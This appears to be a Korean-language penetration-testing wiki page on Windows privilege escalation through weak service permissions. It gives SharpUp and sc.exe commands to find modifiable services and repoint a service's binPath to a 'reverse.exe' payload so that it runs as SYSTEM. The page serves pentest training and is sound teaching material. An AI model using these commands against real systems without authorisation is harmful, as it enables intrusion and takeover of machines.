> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/privilege-escalation/windows/weak-service-permissions.md).

# Weak Service Permissions

침투한 시스템 제어 권한으로 실행 중인 서비스 바이너리 경로를 변조할 수 있다면, 서비스가 재실행 될 때 악성 코드를 실행시켜 시스템 권한을 탈취할 수 있습니다.

## Abuse

{% embed url="<https://github.com/GhostPack/SharpUp>" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># 바이너리 경로 쓰기 권한이 있는 서비스 열거
</strong>.\SharpUp.exe audit ModifiableServices

<strong># 변경할 서비스 원본 바이너리 확인
</strong>sc.exe qc ExecNotepad

<strong># 바이너리 경로 변경
</strong>sc.exe config ExecNotepad binPath="C:\Users\Mick3y\reverse.exe"
</code></pre>

{% hint style="info" %}
종종 binPath 인자를 입력할 때 경로 앞에 공백을 붙여야 하는 경우가 있습니다.
{% endhint %}
